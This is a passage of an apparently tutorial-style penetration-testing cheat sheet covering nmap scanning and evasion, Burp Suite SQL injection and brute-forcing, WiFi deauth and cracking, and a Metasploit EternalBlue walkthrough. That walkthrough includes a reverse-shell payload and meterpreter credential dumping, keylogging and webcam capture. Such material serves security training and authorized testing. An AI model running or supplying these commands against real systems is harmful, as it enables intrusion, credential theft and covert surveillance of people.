# - Service name (SSH, HTTP, MySQL)
# - Version (OpenSSH 8.2p1, Apache 2.4.41)
# - Extra info (OS, device type)
# Example output:
# PORT STATE SERVICE VERSION
# 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
# 80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
# Version intensity:
nmap -sV --version-intensity 0 192.168.1.1 # Light probing (fast, less accurate)
nmap -sV --version-intensity 5 192.168.1.1 # Normal (default)
nmap -sV --version-intensity 9 192.168.1.1 # Aggressive (slow, most accurate)
# --version-intensity <0-9>
# 0 = Light (try 2 probes)
# 5 = Default
# 9 = Try ALL probes (slow but thorough!)
# Light version scan:
nmap -sV --version-light 192.168.1.1
# Equivalent to --version-intensity 2
# Aggressive version scan:
nmap -sV --version-all 192.168.1.1
# Equivalent to --version-intensity 9
# Tries EVERY single probe (very slow!)
# RPC services:
nmap -sV --version-trace 192.168.1.1
# --version-trace ← Show detailed version detection process
# For debugging when version detection fails
OS Detection - Identify Operating System
# OS detection:
nmap -O 192.168.1.1
# -O ← Enable OS detection
# Analyzes: TCP/IP stack fingerprints
# Example output:
# OS details: Linux 5.4 - 5.10
# Network Distance: 2 hops
# Aggressive OS detection:
nmap -O --osscan-guess 192.168.1.1
# --osscan-guess ← Make best guess when uncertain
# Shows confidence percentage
# OS detection only (skip port scan):
nmap -O --osscan-limit 192.168.1.1
# --osscan-limit ← Only scan hosts with open+closed ports
# Skips: Hosts with all filtered ports (faster)
# Maximum OS detection retries:
nmap -O --max-os-tries 1 192.168.1.1
# --max-os-tries 1 ← Try OS detection once (faster)
# Default: 5 tries
Timing and Performance - Control Scan Speed
# Timing templates (simplest way to control speed):
nmap -T0 192.168.1.1 # Paranoid (slowest, evade IDS)
nmap -T1 192.168.1.1 # Sneaky
nmap -T2 192.168.1.1 # Polite (less bandwidth)
nmap -T3 192.168.1.1 # Normal (default)
nmap -T4 192.168.1.1 # Aggressive (fast, assume reliable network)
nmap -T5 192.168.1.1 # Insane (fastest, may sacrifice accuracy)
# BEGINNER EXPLANATION:
# -T<0-5> ← Timing template
# T0-T1: VERY slow (IDS evasion, takes hours!)
# T2: Polite (slow, 0.4s between probes)
# T3: Default (good for most scans)
# T4: Fast (assumes reliable network, 0.9ms between probes)
# T5: Insane (may miss ports, only on fast networks!)
# For CTFs/labs: Use -T4
# For real engagements: Use -T2 or -T3 (stealthier)
# Fine-grained timing control:
# Parallelism (simultaneous probes):
nmap --min-parallelism 10 --max-parallelism 100 192.168.1.1
# --min-parallelism 10 ← Minimum 10 parallel probes
# --max-parallelism 100 ← Maximum 100 parallel probes
# Higher = faster but noisier
# RTT timeout (round-trip time):
nmap --min-rtt-timeout 100ms --max-rtt-timeout 300ms 192.168.1.1
# --min-rtt-timeout ← Minimum time to wait for response
# --max-rtt-timeout ← Maximum time to wait
# Lower = faster but may miss slow hosts
# Host timeout:
nmap --host-timeout 5m 192.168.1.1
# --host-timeout 5m ← Give up on host after 5 minutes
# Prevents: One slow host holding up entire scan
# Scan delay:
nmap --scan-delay 1s 192.168.1.1
# --scan-delay 1s ← Wait 1 second between probes
# Use for: IDS evasion, slow networks
# Maximum retries:
nmap --max-retries 1 192.168.1.1
# --max-retries 1 ← Retry closed/filtered ports once
# Default: 10 retries
# Lower = faster but less accurate
NSE Scripts - Nmap Scripting Engine (POWERFUL!)
# List all scripts:
ls /usr/share/nmap/scripts/
# 600+ NSE scripts for everything!
# View script help:
nmap --script-help http-enum
# Shows: What script does, categories, example usage
# Script categories:
# auth = Authentication testing
# brute = Brute force attacks
# default = Safe scripts (run with -sC)
# discovery = Network discovery
# dos = Denial of service
# exploit = Exploit vulnerabilities
# external = Query external services
# fuzzer = Send unexpected input
# intrusive = May crash target
# malware = Malware detection
# safe = Won't harm target
# version = Version detection enhancement
# vuln = Vulnerability detection
# Run default scripts:
nmap -sC 192.168.1.1
# -sC ← Run default NSE scripts
# Same as: --script=default
# Run specific script:
nmap --script http-enum 192.168.1.1
# --script http-enum ← Web directory enumeration
# Run multiple scripts:
nmap --script http-enum,http-headers,http-methods 192.168.1.1
# Run all scripts in category:
nmap --script vuln 192.168.1.1
# Runs ALL vulnerability detection scripts!
# Wildcard:
nmap --script "http-*" 192.168.1.1
# Runs all scripts starting with "http-"
# Boolean logic:
nmap --script "http-* and not http-brute" 192.168.1.1
# Runs all HTTP scripts EXCEPT http-brute
# Script arguments:
nmap --script http-enum --script-args http-enum.basepath=/admin/ 192.168.1.1
# --script-args ← Pass arguments to scripts
# Update script database:
sudo nmap --script-updatedb
# Downloads latest NSE scripts
Essential NSE Scripts Every Pentester Uses
# === VULNERABILITY SCANNING ===
# Scan for common vulnerabilities:
nmap --script vuln 192.168.1.1
# Checks for: CVEs, misconfigurations, known vulns
# SMB vulnerabilities (EternalBlue, MS08-067):
nmap --script smb-vuln-* 192.168.1.1
# Detects: MS17-010 (EternalBlue), MS08-067, MS06-025
# SSL/TLS vulnerabilities (Heartbleed, POODLE):
nmap --script ssl-heartbleed,ssl-poodle,ssl-ccs-injection 192.168.1.1
# === WEB APPLICATION TESTING ===
# Enumerate web directories:
nmap --script http-enum 192.168.1.1
# Finds: /admin, /backup, /test, /phpmyadmin
# HTTP methods allowed:
nmap --script http-methods 192.168.1.1
# Shows: GET, POST, PUT, DELETE (PUT/DELETE = potential vuln!)
# HTTP headers:
nmap --script http-headers 192.168.1.1
# Shows: Server, X-Powered-By, cookies
# Detect WAF:
nmap --script http-waf-detect 192.168.1.1
# WordPress/Joomla enumeration:
nmap --script http-wordpress-enum 192.168.1.1
# === DATABASE TESTING ===
# MySQL info:
nmap --script mysql-info 192.168.1.1
# MySQL empty password:
nmap --script mysql-empty-password 192.168.1.1
# MS-SQL info:
nmap --script ms-sql-info 192.168.1.1
# MongoDB info:
nmap --script mongodb-info 192.168.1.1
# === SMB ENUMERATION ===
# SMB version:
nmap --script smb-os-discovery 192.168.1.1
# Shows: OS, domain, hostname
# SMB shares:
nmap --script smb-enum-shares 192.168.1.1
# SMB users:
nmap --script smb-enum-users 192.168.1.1
# SMB sessions:
nmap --script smb-enum-sessions 192.168.1.1
# === DNS ENUMERATION ===
# DNS brute force:
nmap --script dns-brute example.com
# DNS zone transfer:
nmap --script dns-zone-transfer --script-args dns-zone-transfer.domain=example.com 192.168.1.1
# === BRUTE FORCING ===
# SSH brute force:
nmap --script ssh-brute --script-args userdb=users.txt,passdb=passwords.txt 192.168.1.1
# FTP brute force:
nmap --script ftp-brute 192.168.1.1
# HTTP brute force:
nmap --script http-brute --script-args http-brute.path=/admin/ 192.168.1.1
# === MISCELLANEOUS ===
# Check for default credentials:
nmap --script auth 192.168.1.1
# Banner grabbing (detailed):
nmap --script banner 192.168.1.1
# Traceroute with geolocation:
nmap --script traceroute-geolocation 192.168.1.1
# Broadcast discovery:
nmap --script broadcast-dhcp-discover
# Malware detection:
nmap --script malware 192.168.1.1
Firewall/IDS Evasion - Bypass Detection
# Fragment packets:
nmap -f 192.168.1.1
# -f ← Fragment IP packets
# Splits packets into tiny 8-byte fragments
# May bypass: Simple packet filters
# Custom MTU:
nmap --mtu 16 192.168.1.1
# --mtu 16 ← Set Maximum Transmission Unit
# Must be multiple of 8
# Smaller MTU = more fragments
# Decoy scanning:
nmap -D RND:10 192.168.1.1
# -D RND:10 ← Use 10 random decoy IPs
# Target sees: Scans from YOUR IP + 10 fake IPs
# Hides your IP in noise!
# Specific decoys:
nmap -D 192.168.1.100,192.168.1.200,ME 192.168.1.1
# ME = your real IP position in decoy list
# Idle/Zombie scan (ULTIMATE stealth):
nmap -sI zombie_host 192.168.1.1
# -sI zombie_host ← Use zombie host to scan
# Zombie = host with predictable IP ID sequence
# Target never sees YOUR IP!
# Advanced technique, read: nmap.org/book/idlescan.html
# Spoof source IP:
nmap -S 192.168.1.254 192.168.1.1
# -S 192.168.1.254 ← Spoof source IP
# Target thinks scan came from .254
# WARNING: You won't receive responses!
# Spoof MAC address:
nmap --spoof-mac 00:11:22:33:44:55 192.168.1.1
# --spoof-mac ← Change source MAC
# Use 0 for random MAC
# Randomize target order:
nmap --randomize-hosts 192.168.1.0/24
# --randomize-hosts ← Scan hosts in random order
# Harder to detect patterns
# Use proxies:
nmap --proxies socks4://proxy1:1080,http://proxy2:8080 192.168.1.1
# --proxies ← Chain through proxy servers
# Bad checksum (test firewall):
nmap --badsum 192.168.1.1
# --badsum ← Send packets with invalid checksum
# Firewalls may forward without checking
# Real OS will drop packets
# Append random data:
nmap --data-length 50 192.168.1.1
# --data-length 50 ← Add 50 random bytes to packets
# Evade: Signature-based IDS
Output Options - Save Your Results
# Normal output (to terminal + file):
nmap 192.168.1.1 -oN scan_results.txt
# -oN ← Normal output (human-readable)
# XML output (for parsing):
nmap 192.168.1.1 -oX scan_results.xml
# -oX ← XML output
# Parse with: Python, Ruby, Go
# Import into: Metasploit, other tools
# Grepable output:
nmap 192.168.1.1 -oG scan_results.gnmap
# -oG ← Grepable format
# Easy to grep: grep "open" scan_results.gnmap
# All formats:
nmap 192.168.1.1 -oA scan_results
# -oA ← Output ALL formats
# Creates: scan_results.nmap, scan_results.xml, scan_results.gnmap
# Script kiddie output:
nmap 192.168.1.1 -oS scan_results_l33t.txt
# -oS ← Script kiddie format (leet speak!)
# Just for fun 😄
# Append to file:
nmap 192.168.1.1 -oN scan_results.txt --append-output
# --append-output ← Don't overwrite, append
# Verbose output:
nmap -v 192.168.1.1
# -v ← Verbose (show progress)
# -vv = Very verbose
# -vvv = Even more verbose!
# Debugging:
nmap -d 192.168.1.1
# -d ← Debug mode
# -dd = More debug info
# Use when: Scan behaves unexpectedly
# Show only open ports:
nmap --open 192.168.1.1
# --open ← Only show open ports
# Hides: Closed and filtered ports
# Show reason port is open/closed:
nmap --reason 192.168.1.1
# --reason ← Why Nmap marked port as open/closed
# Example: "syn-ack" (SYN/ACK response received)
Advanced Host Discovery - Find Live Hosts
# Default host discovery (before port scan):
# Nmap sends:
# - ICMP echo request (ping)
# - TCP SYN to port 443
# - TCP ACK to port 80
# - ICMP timestamp request
# Skip host discovery (assume host is up):
nmap -Pn 192.168.1.1
# -Pn ← No ping (treat host as up)
# Use when: Firewall blocks ICMP
# Slower (scans even dead hosts)
# ICMP ping:
nmap -PE 192.168.1.1
# -PE ← ICMP echo request (standard ping)
# ICMP timestamp:
nmap -PP 192.168.1.1
# -PP ← ICMP timestamp request
# Alternative when echo blocked
# ICMP netmask:
nmap -PM 192.168.1.1
# -PM ← ICMP netmask request
# TCP SYN discovery:
nmap -PS22,80,443 192.168.1.1
# -PS ← TCP SYN ping to ports 22,80,443
# Effective against firewalls!
# TCP ACK discovery:
nmap -PA22,80,443 192.168.1.1
# -PA ← TCP ACK ping
# Bypasses: Stateless firewalls
# UDP discovery:
nmap -PU53,161 192.168.1.1
# -PU ← UDP ping to ports 53,161
# Useful for: Discovering firewalls/routers
# ARP discovery (local network only):
nmap -PR 192.168.1.0/24
# -PR ← ARP ping
# Fastest on local network
# Can't be blocked (layer 2!)
# Disable DNS resolution:
nmap -n 192.168.1.1
# -n ← Never do DNS resolution
# Faster!
# Force DNS resolution (for all hosts):
nmap -R 192.168.1.1
# -R ← Always do DNS resolution
# Custom DNS servers:
nmap --dns-servers 8.8.8.8,1.1.1.1 192.168.1.1
# --dns-servers ← Use custom DNS
Real-World Nmap Command Examples
# === PENTESTING WORKFLOW ===
# 1. Quick network discovery:
nmap -sn 192.168.1.0/24
# -sn ← Ping scan only (no port scan)
# Finds: All live hosts on network
# 2. Fast port scan of live hosts:
nmap -T4 -F 192.168.1.1-254
# -T4 = Fast
# -F = Top 100 ports
# 3. Comprehensive scan of interesting hosts:
nmap -sS -sV -O -A -p- -T4 -oA full_scan 192.168.1.10
# -sS = SYN scan
# -sV = Version detection
# -O = OS detection
# -A = Aggressive (OS, version, scripts, traceroute)
# -p- = All 65535 ports
# -oA = All output formats
# === SPECIFIC SCENARIOS ===
# Web server deep scan:
nmap -p 80,443 -sV --script "http-*" 192.168.1.10
# SMB enumeration (Active Directory):
nmap -p 445 --script smb-enum-shares,smb-enum-users,smb-os-discovery 192.168.1.10
# Vulnerability scan:
nmap --script vuln -oA vuln_scan 192.168.1.10
# Stealth scan (IDS evasion):
nmap -sS -T2 -f -D RND:10 --randomize-hosts 192.168.1.0/24
# UDP + TCP combined:
nmap -sSU -p T:1-1000,U:53,161,500 192.168.1.1
# === CTF/HTB QUICK COMMANDS ===
# Initial recon:
nmap -sC -sV -oA initial 10.10.10.10
# Full port scan:
nmap -p- -T4 --min-rate 1000 10.10.10.10
# Detailed scan of found ports:
nmap -p 22,80,443,8080 -sC -sV -A 10.10.10.10
# === BUG BOUNTY ===
# Subdomain discovery + port scan:
nmap -iL subdomains.txt -p 80,443,8080,8443 --open -oA web_services
# Check for common vulns:
nmap --script http-vuln-* -p 80,443 target.com
B-Tools: Burp Suite, BloodHound, and More
Burp Suite (THE Ultimate Web Application Testing Tool)
What is it? Burp Suite is THE industry-standard web proxy and security testing platform. Every web pentester uses Burp! It intercepts HTTP/HTTPS traffic, allowing you to modify requests, scan for vulnerabilities, and exploit web apps. Has free (Community) and paid (Professional) versions.
Getting Started with Burp Suite
# Start Burp Suite:
burpsuite
# Or from applications menu: Kali → Web Application Analysis → burpsuite
# BEGINNER EXPLANATION:
# Burp Suite = web proxy that sits between your browser and target
# Your browser → Burp Suite → Target website
# Burp captures ALL requests/responses
# You can: View, modify, resend, scan, exploit
# Configure browser proxy:
# Firefox: Preferences → Network Settings → Manual proxy
# HTTP Proxy: 127.0.0.1
# Port: 8080
# ☑ Use this proxy for HTTPS
# Chrome: Use FoxyProxy extension
# Import Burp CA certificate (for HTTPS):
# 1. Browse to: http://burp
# 2. Click "CA Certificate" (top-right)
# 3. Save as burp-cert.der
# 4. Firefox: Settings → Privacy & Security → Certificates → Import
# 5. Trust for websites
Proxy Tab - Intercept and Modify Traffic
# === INTERCEPTING REQUESTS ===
# Enable intercept:
# Proxy tab → Intercept → "Intercept is on"
# Now browse target website in browser
# Burp catches request BEFORE sending!
# WHAT YOU SEE:
# GET /admin/login HTTP/1.1
# Host: target.com
# User-Agent: Mozilla/5.0...
# Cookie: session=abc123
# ACTIONS YOU CAN TAKE:
# - Forward: Send request as-is
# - Drop: Cancel request (never sent)
# - Action → Send to Repeater: Manual testing
# - Action → Send to Intruder: Automated fuzzing
# - Action → Send to Scanner: Vulnerability scan
# === MODIFYING REQUESTS ===
# Example 1: Change POST parameter
# Original:
# username=user&password=pass123
# Modified:
# username=admin&password=pass123
# Then click "Forward"
# Example 2: Add admin cookie
# Original:
# Cookie: session=abc123
# Modified:
# Cookie: session=abc123; isAdmin=true
# Test for privilege escalation!
# Example 3: Change HTTP method
# Original:
# POST /api/users/123 HTTP/1.1
# Modified:
# GET /api/users/123 HTTP/1.1
# Might bypass authentication!
# === INTERCEPT RESPONSES ===
# Proxy → Options → Intercept Server Responses
# ☑ Intercept responses based on these rules
# Modify server responses before browser sees them!
# Example: Change "Account: Free" → "Account: Premium"
Repeater Tab - Manual Testing
# Repeater = manually modify and resend requests
# WORKFLOW:
# 1. Right-click request in Proxy/Target → "Send to Repeater"
# 2. Go to Repeater tab
# 3. Modify request
# 4. Click "Send"
# 5. View response
# 6. Repeat!
# === SQL INJECTION TESTING ===
# Original request:
# GET /search?query=admin HTTP/1.1
# Test 1: Basic SQLi
# GET /search?query=admin' HTTP/1.1
# Look for SQL error in response!
# Test 2: Union injection
# GET /search?query=admin' UNION SELECT NULL-- HTTP/1.1
# GET /search?query=admin' UNION SELECT NULL,NULL-- HTTP/1.1
# GET /search?query=admin' UNION SELECT NULL,NULL,NULL-- HTTP/1.1
# Find number of columns
# Test 3: Extract data
# GET /search?query=admin' UNION SELECT username,password FROM users-- HTTP/1.1
# Dump database!
# === XSS TESTING ===
# Test reflected XSS:
# GET /search?query= HTTP/1.1
# If response contains unescaped:
#
Search results for:
# = VULNERABLE!
# === IDOR TESTING ===
# Original:
# GET /api/user/profile?id=1337 HTTP/1.1
# Returns YOUR profile
# Test IDOR:
# GET /api/user/profile?id=1 HTTP/1.1
# GET /api/user/profile?id=2 HTTP/1.1
# GET /api/user/profile?id=1000 HTTP/1.1
# Can you access OTHER users' profiles?
# === COMPARE RESPONSES ===
# Right-click in Repeater → "Send to Comparer"
# Compare response differences
# Useful for: Boolean-based SQLi, timing attacks
Intruder Tab - Automated Fuzzing and Brute Forcing
# Intruder = automated payload injection
# WORKFLOW:
# 1. Send request to Intruder
# 2. Configure attack positions (where to inject payloads)
# 3. Load payloads
# 4. Start attack
# 5. Analyze results
# === ATTACK TYPES ===
# Sniper: One payload set, one position at a time
# Example: Test one parameter with wordlist
# Battering ram: One payload set, ALL positions get same value
# Example: username=PAYLOAD&password=PAYLOAD
# Pitchfork: Multiple payload sets, parallel iteration
# Example: username=user1&password=pass1, then username=user2&password=pass2
# Cluster bomb: Multiple payload sets, try ALL combinations
# Example: Try every username with every password (Cartesian product)
# === SET ATTACK POSITIONS ===
# Original request:
# POST /login HTTP/1.1
# username=admin&password=test123
# Mark parameters:
# username=§admin§&password=§test123§
# Click "Add §" button to mark positions
# === LOAD PAYLOADS ===
# Payload set 1 (for username):
# Payload type: Simple list
# Payload options:
# admin
# administrator
# root
# user
# test
# Payload set 2 (for password):
# Payload type: Simple list
# Load from file: /usr/share/wordlists/rockyou.txt
# === USEFUL PAYLOAD TYPES ===
# Simple list: Custom wordlist
# Numbers: 1-1000, increments
# Usernames generator: common usernames
# Dates: date ranges
# Null payloads: no payload (test baseline)
# Character substitution: p@ssw0rd variations
# Case modification: Admin, ADMIN, admin
# Recursive grep: Extract from responses
# === PAYLOAD PROCESSING ===
# Add prefix/suffix:
# Rule: Add prefix: 'OR 1=1--
# Payload: admin → 'OR 1=1--admin
# Encode:
# URL-encode
# HTML-encode
# Base64-encode
# === ANALYZE RESULTS ===
# Sort by:
# - Status code (200 vs 403 vs 302)
# - Length (different response = potentially valid cred!)
# - Response time (SQL injection timing attacks)
# Filter:
# Show only: Status code = 302 (successful login redirect!)
# === EXAMPLE ATTACKS ===
# 1. Username enumeration:
# POST /login HTTP/1.1
# username=§payload§&password=wrongpass
# Valid username: "Incorrect password"
# Invalid username: "User not found"
# Length differs!
# 2. Password brute force:
# POST /login HTTP/1.1
# username=admin&password=§payload§
# Success: Status 302, Length 0 (redirect to /dashboard)
# Failure: Status 200, Length 1523 (error message)
# 3. Parameter fuzzing:
# GET /api/users?sort=§payload§
# Payloads: name, id, email, created_at, admin, password
# Find hidden parameters!
Scanner Tab - Automated Vulnerability Scanning (Pro Only)
# Scanner = automated vulnerability detection (Burp Professional ONLY!)
# Free version (Community) does NOT have scanner
# === PASSIVE SCANNING ===
# Automatically analyzes traffic for:
# - Cookie security flags (HttpOnly, Secure, SameSite)
# - Cleartext password submission
# - Cross-domain script inclusion
# - CSRF vulnerabilities
# - Missing security headers
# View results:
# Target → Site map → Right-click domain → "Issue activity"
# === ACTIVE SCANNING (Pro) ===
# Right-click request → "Scan"
# Or: Target → Site map → Right-click → "Actively scan this branch"
# Tests for:
# - SQL injection
# - XSS (reflected, stored, DOM-based)
# - XXE (XML External Entity)
# - SSRF (Server-Side Request Forgery)
# - Command injection
# - Path traversal
# - Open redirects
# - CSRF
# - Deserialization vulns
# Scan configuration:
# Fast: Quick tests only
# Normal: Balanced
# Thorough: Exhaustive (slow!)
# === CRAWLING ===
# Target → Site map → Right-click domain → "Spider this host"
# Automatically discovers: All links, forms, parameters
# Useful before scanning!
# === ISSUE DEFINITIONS ===
# Each vulnerability shows:
# - Severity: High, Medium, Low, Info
# - Confidence: Certain, Firm, Tentative
# - Description: What it is
# - Remediation: How to fix
# - References: CWE, OWASP links
# - Request/Response: Proof of vulnerability
# === EXPORT RESULTS ===
# Target → Site map → Right-click → "Report selected issues"
# Formats: HTML, XML
# For: Client reports, documentation
Decoder Tab - Encoding/Decoding
# Decoder = encode/decode data
# === SUPPORTED ENCODINGS ===
# URL encode/decode:
# admin%40example.com → admin@example.com
# HTML encode/decode:
# <script> →
# === HASH FUNCTIONS ===
# Generate hashes:
# SHA-1, SHA-256, MD5
# Useful for:
# - Password hash cracking
# - Integrity verification
# - Token generation
Comparer Tab - Response Comparison
# Comparer = compare two requests/responses
# USE CASES:
# 1. Boolean-based SQL injection:
# Send two requests:
# /search?id=1 AND 1=1-- (TRUE)
# /search?id=1 AND 1=2-- (FALSE)
# Compare responses
# Different response = SQLi confirmed!
# 2. Timing attack baseline:
# Request 1: Normal timing
# Request 2: With SLEEP(5) payload
# Different response time = SQLi!
# 3. Username enumeration:
# Request 1: Valid username
# Request 2: Invalid username
# Different response = enumeration possible!
# === HOW TO USE ===
# 1. Right-click request → "Send to Comparer"
# 2. Send another request → "Send to Comparer"
# 3. Go to Comparer tab
# 4. Select both items
# 5. Click "Words" or "Bytes"
# 6. View differences (highlighted!)
# Words: Text-based comparison
# Bytes: Exact byte-by-byte
Extender Tab - Plugins (BApp Store)
# Extender = add functionality with plugins
# === POPULAR EXTENSIONS ===
# Autorize: Test for broken authorization
# Install: Extender → BApp Store → Autorize → Install
# How it works:
# 1. Configure low-privilege user token
# 2. Browse as admin
# 3. Autorize replays ALL requests with low-priv token
# 4. Highlights if low-priv gets access (broken authz!)
# Logger++: Advanced logging
# Install: Extender → BApp Store → Logger++ → Install
# Features:
# - Advanced filters
# - Color-coded logging
# - Export to CSV
# Param Miner: Find hidden parameters
# Install: Extender → BApp Store → Param Miner → Install
# Right-click request → "Param Miner" → "Guess parameters"
# Finds: Hidden params, headers, cookies
# Turbo Intruder: Fast brute-forcing (bypasses rate limits!)
# Install: Extender → BApp Store → Turbo Intruder → Install
# Uses: HTTP/2, connection pooling
# Much faster than regular Intruder!
# JSON Web Tokens: JWT manipulation
# Install: Extender → BApp Store → JSON Web Tokens → Install
# Automatically detects JWT tokens
# Test: Algorithm confusion, weak secrets
# === INSTALL EXTENSIONS ===
# Method 1: BApp Store (easiest)
# Extender → BApp Store → Browse → Install
# Method 2: Manual JAR file
# Extender → Extensions → Add
# Select .jar file
# === WRITE CUSTOM EXTENSIONS ===
# Languages supported: Java, Python, Ruby
# Extender → APIs
# Full Burp Suite API access
# Example: Auto-exploit SQLi, custom scanners
BloodHound (Active Directory Attack Path Visualization)
What is it? BloodHound is THE tool for Active Directory enumeration and attack path discovery. It uses graph theory to find hidden relationships and privilege escalation paths. Essential for AD pentesting!
# ========== AIRCRACK-NG ==========
# Category: Wireless Attacks
# Purpose: Complete WiFi cracking suite (WEP, WPA/WPA2)
# Install (pre-installed in Kali):
sudo apt install aircrack-ng
# Key tools in suite:
# - airmon-ng → Enable monitor mode
# - airodump-ng → Capture packets
# - aireplay-ng → Inject packets, deauth
# - aircrack-ng → Crack captured handshakes
# Basic workflow (see Bonus Part 1 for detailed guide):
sudo airmon-ng start wlan0 # Enable monitor mode → wlan0mon
sudo airodump-ng wlan0mon # Scan for networks
sudo airodump-ng -c 6 --bssid [MAC] -w capture wlan0mon # Capture handshake
sudo aireplay-ng -0 5 -a [AP_MAC] wlan0mon # Deauth to force handshake
aircrack-ng -w wordlist.txt capture-01.cap # Crack handshake
# ========== AMASS ==========
# Category: Information Gathering
# Purpose: Subdomain enumeration (passive + active)
sudo apt install amass
# Passive enumeration (no target contact):
amass enum -passive -d company.com
# Active enumeration (includes DNS brute force):
amass enum -active -d company.com -brute -w subdomains.txt
# Output to file:
amass enum -d company.com -o subdomains.txt
# Use with other tools:
amass enum -d company.com | httprobe > live_subdomains.txt
# ========== ARMITAGE ==========
# Category: Exploitation Tools
# Purpose: GUI for Metasploit (team collaboration)
sudo apt install armitage
# Launch (requires Metasploit database):
sudo msfdb init # First time only
sudo armitage
# Features:
# - Point-and-click exploit selection
# - Visual network map
# - Team server for collaboration
# - Automated exploitation workflows
# Use case: Red team engagements with multiple operators
# ========== AUTOPSY ==========
# Category: Forensics
# Purpose: Digital forensics platform (GUI for Sleuthkit)
# See Section 1 for detailed guide
sudo apt install autopsy
# Launch:
autopsy
# Web interface: http://localhost:9999/autopsy
# Create case → Add image → Analyze!
# ========== AWK (Pattern Scanning) ==========
# Category: Utility
# Purpose: Text processing, log analysis
# Extract specific columns from output:
cat access.log | awk '{print $1}' # Print first column (IP addresses)
# Filter by condition:
netstat -an | awk '/ESTABLISHED/ {print $5}' # Show established connections
# Sum values:
cat numbers.txt | awk '{sum += $1} END {print sum}'
# Use case: Parse nmap output, extract IPs from logs
B-Tools
# Start Metasploit:
msfconsole
# Loads: Framework, exploits, payloads, auxiliary modules
# BEGINNER EXPLANATION:
# Metasploit has 5 module types:
# 1. EXPLOITS → Take advantage of vulnerabilities
# 2. PAYLOADS → Code that runs after exploitation (reverse shell, meterpreter)
# 3. AUXILIARY → Scanners, fuzzers, DoS tools
# 4. POST → Post-exploitation (after you have shell)
# 5. ENCODERS → Obfuscate payloads (evade antivirus)
# Update Metasploit:
msfupdate
# Downloads latest exploits and modules
# Search for exploits:
msf6 > search eternalblue
# Finds: exploit/windows/smb/ms17_010_eternalblue
# Search with filters:
search type:exploit platform:windows smb
search cve:2021 rank:excellent
search type:auxiliary name:smb
# SEARCH FLAGS EXPLAINED:
# type:exploit → Only show exploits
# type:auxiliary → Only show scanners/tools
# platform:windows → Only Windows exploits
# platform:linux → Only Linux exploits
# rank:excellent → Only excellent rank (reliable)
# cve:2021 → Exploits for CVE-2021-XXXX
# View exploit details:
msf6 > info exploit/windows/smb/ms17_010_eternalblue
# Shows: Description, targets, options, references
# Use an exploit:
msf6 > use exploit/windows/smb/ms17_010_eternalblue
# Loads exploit module
# Show required options:
msf6 exploit(ms17_010_eternalblue) > show options
# Shows: RHOSTS, RPORT, LHOST, etc.
# Set target:
msf6 exploit(ms17_010_eternalblue) > set RHOSTS 192.168.1.10
# RHOSTS = Remote host (target IP)
# Set local IP (for reverse shell):
msf6 exploit(ms17_010_eternalblue) > set LHOST 192.168.1.50
# LHOST = Local host (attacker IP)
# Payload connects back to THIS IP!
# Set payload:
msf6 exploit(ms17_010_eternalblue) > set payload windows/x64/meterpreter/reverse_tcp
# Payload = code that executes after exploit succeeds
# reverse_tcp = connects back to attacker
# Run the exploit:
msf6 exploit(ms17_010_eternalblue) > exploit
# Or: run, or: exploit -j (background job)
# Background session:
Ctrl+Z
# Puts meterpreter session in background
# List sessions:
msf6 > sessions -l
# Shows all active shells/meterpreter sessions
# Interact with session:
msf6 > sessions -i 1
# -i 1 ← Interact with session ID 1
# Kill session:
msf6 > sessions -k 1
# -k 1 ← Kill session ID 1
# Kill all sessions:
msf6 > sessions -K
Meterpreter - Advanced Post-Exploitation
# After exploitation, you get meterpreter shell:
meterpreter >
# WHAT IS METERPRETER?
# Advanced payload that runs in memory (no files on disk!)
# Features:
# - File upload/download
# - Screenshot capture
# - Keylogging
# - Privilege escalation
# - Pivoting/routing
# - Persistence
# - Process migration
# === SYSTEM INFORMATION ===
# System info:
meterpreter > sysinfo
# Shows: OS, architecture, computer name, domain
# Current user:
meterpreter > getuid
# Shows: NT AUTHORITY\\SYSTEM or domain\\username
# Network info:
meterpreter > ipconfig
# Shows: IP addresses, MAC, subnets
# Check privileges:
meterpreter > getprivs
# Shows: SeDebugPrivilege, SeImpersonatePrivilege, etc.
# === FILE SYSTEM ===
# Current directory:
meterpreter > pwd
# Change directory:
meterpreter > cd C:\\Users\\Administrator\\Desktop
# List files:
meterpreter > ls
# Shows files in current directory
# Search for files:
meterpreter > search -f passwords.txt
# -f passwords.txt ← Search for filename
# Search in specific directory:
meterpreter > search -d C:\\Users -f *.txt
# -d C:\\Users ← Search directory
# -f *.txt ← Search pattern
# Download file:
meterpreter > download C:\\Users\\Administrator\\Desktop\\passwords.txt /tmp/
# Downloads to /tmp/ on attacker machine
# Upload file:
meterpreter > upload /tmp/mimikatz.exe C:\\Windows\\Temp\\
# Uploads to target
# === PROCESSES ===
# List processes:
meterpreter > ps
# Shows: PID, name, user, architecture
# Migrate to another process:
meterpreter > migrate 1337
# Moves meterpreter to PID 1337
# WHY? Stability, evade detection, get new privileges
# Kill process:
meterpreter > kill 1337
# Execute program:
meterpreter > execute -f cmd.exe -i
# -f cmd.exe ← File to execute
# -i ← Interact (get shell)
# === PRIVILEGE ESCALATION ===
# Attempt automatic privesc:
meterpreter > getsystem
# Tries multiple techniques:
# - Named pipe impersonation
# - Token duplication
# If successful: NT AUTHORITY\\SYSTEM!
# Check if successful:
meterpreter > getuid
# Should show: NT AUTHORITY\\SYSTEM
# === CREDENTIAL DUMPING ===
# Dump password hashes (requires SYSTEM):
meterpreter > hashdump
# Dumps: SAM hashes (NTLM)
# Output: username:RID:LM:NTLM:::
# Load mimikatz (Kiwi):
meterpreter > load kiwi
# Loads mimikatz as meterpreter module!
# Dump credentials from memory:
meterpreter > creds_all
# Dumps: Plaintext passwords, hashes, tickets
# Kerberos tickets:
meterpreter > kerberos
# === SCREENSHOT & KEYLOGGING ===
# Take screenshot:
meterpreter > screenshot
# Saves to /tmp/ on attacker machine
# Start keylogger:
meterpreter > keyscan_start
# Captures all keystrokes
# Dump captured keystrokes:
meterpreter > keyscan_dump
# Stop keylogger:
meterpreter > keyscan_stop
# === WEBCAM ===
# List webcams:
meterpreter > webcam_list
# Take photo:
meterpreter > webcam_snap
# Captures image from webcam
# Start video stream:
meterpreter > webcam_stream
# === NETWORK & PIVOTING ===
# Port forwarding:
meterpreter > portfwd add -l 4444 -p 445 -r 192.168.2.10
# -l 4444 ← Local port on attacker machine
# -p 445 ← Remote port on target
# -r 192.168.2.10 ← Remote host (internal network)
# Access: localhost:4444 → 192.168.2.10:445
# Route through compromised host:
meterpreter > run autoroute -s 192.168.2.0/24
